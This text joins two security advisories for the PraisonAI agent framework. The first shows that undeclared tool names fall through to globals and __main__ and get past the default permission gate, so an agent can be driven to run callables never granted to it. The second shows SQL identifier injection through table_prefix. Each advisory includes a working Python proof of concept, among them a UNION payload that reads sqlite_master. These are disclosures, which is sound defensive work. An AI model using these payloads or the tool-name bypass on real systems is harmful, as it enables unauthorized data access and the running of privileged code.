Summary praisonaiagents resolves unresolved tool names against module globals and main after it fails to match the declared tool list and the registry. With the default agent configuration, permallow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.
Details The vulnerable resolution path is in [toolexecution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/toolexecution.py:734). After searching declared tools and the registry, execution falls back to globals() and then main:
python func = None for tool in self.tools if isinstance(self.tools, (list, tuple)) else []: ...
if func is None: try: from ..tools.registry import getregistry registry = getregistry() func = registry.get(functionname) except ImportError: pass
if func is None: func = globals().get(functionname) if not func: import main func = getattr(main, functionname, None)
If a callable is found, it is executed directly:
python elif callable(func): castedarguments = self.castarguments(func, arguments) return func(castedarguments)
The permission gate does not enforce a declared-tool allowlist by default. In [toolexecution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/toolexecution.py:550), execution is only rejected if permallow is non-None:
python if self.permdeny and functionname in self.permdeny: return {"error": f"Tool '{functionname}' blocked by permission policy", "permissiondenied": True} if self.permallow is not None and functionname not in self.permallow: return {"error": f"Tool '{functionname}' not in allowed tools list", "permissiondenied": True}
Default agent initialization sets permallow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):
python self.permdeny = frozenset() # Permission tier deny set (empty = no denials) self.permallow = None # Permission tier allow set (None = allow all)
The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:
- [testpermissions.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/testpermissions.py:56) asserts that a default Agent has permallow is None. - testpermissions.py explicitly checks that agent.checktoolapprovalsync("mycustomtool", {}) passes for an undeclared tool name.
Empirical verification:
I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in main, giving the agent an empty tools list, and invoking executetool() with that undeclared name. The tool executor ran the main function anyway.
PoC Environment - Repo: MervinPraison/PraisonAI - Commit: d8a8a786915dc67a7c3021e24f72458f2eac5d9c - Verified against PyPI package versions available on May 3, 2026: - praisonaiagents 1.6.35 - PraisonAI 4.6.35 - Python 3
Steps 1. From the repository root, run:
bash python3 - <<'PY' import sys from unittest.mock import MagicMock, patch
sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents') from praisonaiagents.agent.toolexecution import ToolExecutionMixin
def sneaky(msg='ok'): return {'ran': msg}
class HookRunner: def executesync(self, args, kwargs): return [] def isblocked(self, results): return False
class Dummy(ToolExecutionMixin): def init(self): self.name = 'demo' self.tools = [] self.chathistory = [] self.hookrunner = HookRunner() self.contextmanager = None self.doomlooptracker = None self.permdeny = frozenset() self.permallow = None self.approvalbackend = None
mockregistry = MagicMock() mockregistry.approvesync.returnvalue = MagicMock(approved=True, reason='mock', modifiedargs=None) mockregistry.markapproved = MagicMock()
with patch('praisonaiagents.approval.getapprovalregistry', returnvalue=mockregistry): agent = Dummy() print(agent.executetool('sneaky', {'msg': 'hello'})) print(mockregistry.approvesync.callargs) PY
Expected output text {'ran': 'hello'} call('demo', 'sneaky', {'msg': 'hello'})
The important point is that sneaky was never declared in self.tools and was only present in main.
Impact - Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools. - Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to globals() and main. - Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.
PraisonAI is a multi-agent teams system. Prior to praisonai version 4.6.9 and praisonaiagents version 1.6.9, the fix for CVE-2026-40315 added input validation to SQLiteConversationStore only. Nine sibling backends — MySQL, PostgreSQL, async SQLite/MySQL/PostgreSQL, Turso, SingleStore, Supabase, SurrealDB — pass tableprefix straight into f-string SQL. Same root cause, same code pattern, same exploitation. 52 unvalidated injection points across the codebase. postgres.py additionally accepts an unvalidated schema parameter used directly in DDL. This issue has been patched in praisonai version 4.6.9 and praisonaiagents version 1.6.9.
Summary
The tableprefix configuration value is directly used to construct SQL table identifiers without validation.
If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlitemaster) and tampering with query results.
---
Details This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.
This occurs because tableprefix is passed from configuration (fromyaml / fromdict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:
python sessionstable = f"{tableprefix}sessions"
This value is then used in queries such as:
sql SELECT FROM {self.sessionstable}
Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.
The vulnerability originates from configuration input and propagates through the following flow:
Source: config.py (fromyaml / fromdict) accepts external configuration input
Propagation: factory.py (createstoresfromconfig) passes conversationoptions without validation
Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from tableprefix
As a result, attacker-controlled tableprefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.
PoC
1. Exploit Code The PoC demonstrates that attacker-controlled tableprefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure. python #!/usr/bin/env python3 """ PoC: SQL identifier injection via SQLiteConversationStore.tableprefix
This demonstrates query-structure manipulation when tableprefix is attacker-controlled. """
import os import tempfile
from praisonai.persistence.conversation.sqlite import SQLiteConversationStore from praisonai.persistence.conversation.base import ConversationSession
def runpoc() -> int: fd, dbpath = tempfile.mkstemp(suffix=".db") os.close(fd)
try: print(f"[+] temp db: {dbpath}")
# 1) Create normal schema and insert one legitimate session. normal = SQLiteConversationStore( path=dbpath, tableprefix="praison", autocreatetables=True, ) normal.createsession( ConversationSession( sessionid="legit-session", userid="user1", agentid="agent1", name="Legit Session", state={}, metadata={}, createdat=123.0, updatedat=123.0, ) )
normalrows = normal.listsessions(limit=10, offset=0) print(f"[+] normal.listsessions() count: {len(normalrows)}") print(f"[+] normal first sessionid: {normalrows[0].sessionid if normalrows else None}")
# 2) Malicious prefix (UNION-based query structure manipulation) injectedprefix = ( "praisonsessions WHERE 1=0 " "UNION SELECT " "name as sessionid, " "NULL as userid, " "NULL as agentid, " "NULL as name, " "NULL as state, " "NULL as metadata, " "0 as createdat, " "0 as updatedat " "FROM sqlitemaster -- " )
injected = SQLiteConversationStore( path=dbpath, tableprefix=injectedprefix, autocreatetables=False, )
injectedrows = injected.listsessions(limit=10, offset=0) injectedids = [row.sessionid for row in injectedrows]
print(f"[+] injected.listsessions() count: {len(injectedrows)}") print(f"[+] injected sessionids (first 10): {injectedids[:10]}")
suspicious = any( x in injectedids for x in ("sqliteschema", "sqlitemaster", "praisonsessions", "praisonmessages") )
if suspicious or len(injectedrows) > len(normalrows): print("[!] PoC succeeded: listsessions query semantics altered by tableprefix") return 0
print("[!] PoC inconclusive: no clear injected rows observed") return 2
finally: try: os.remove(dbpath) print("[+] temp db removed") except OSError: pass
if name == "main": raise SystemExit(runpoc())
---
2. Expected Output
!PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.
3. Impact
- SQL Identifier Injection - Query result manipulation - Internal schema disclosure
Exploitable when untrusted input can influence configuration.
--- Reference
- https://github.com/advisories/GHSA-59g6-v3vg-f7wc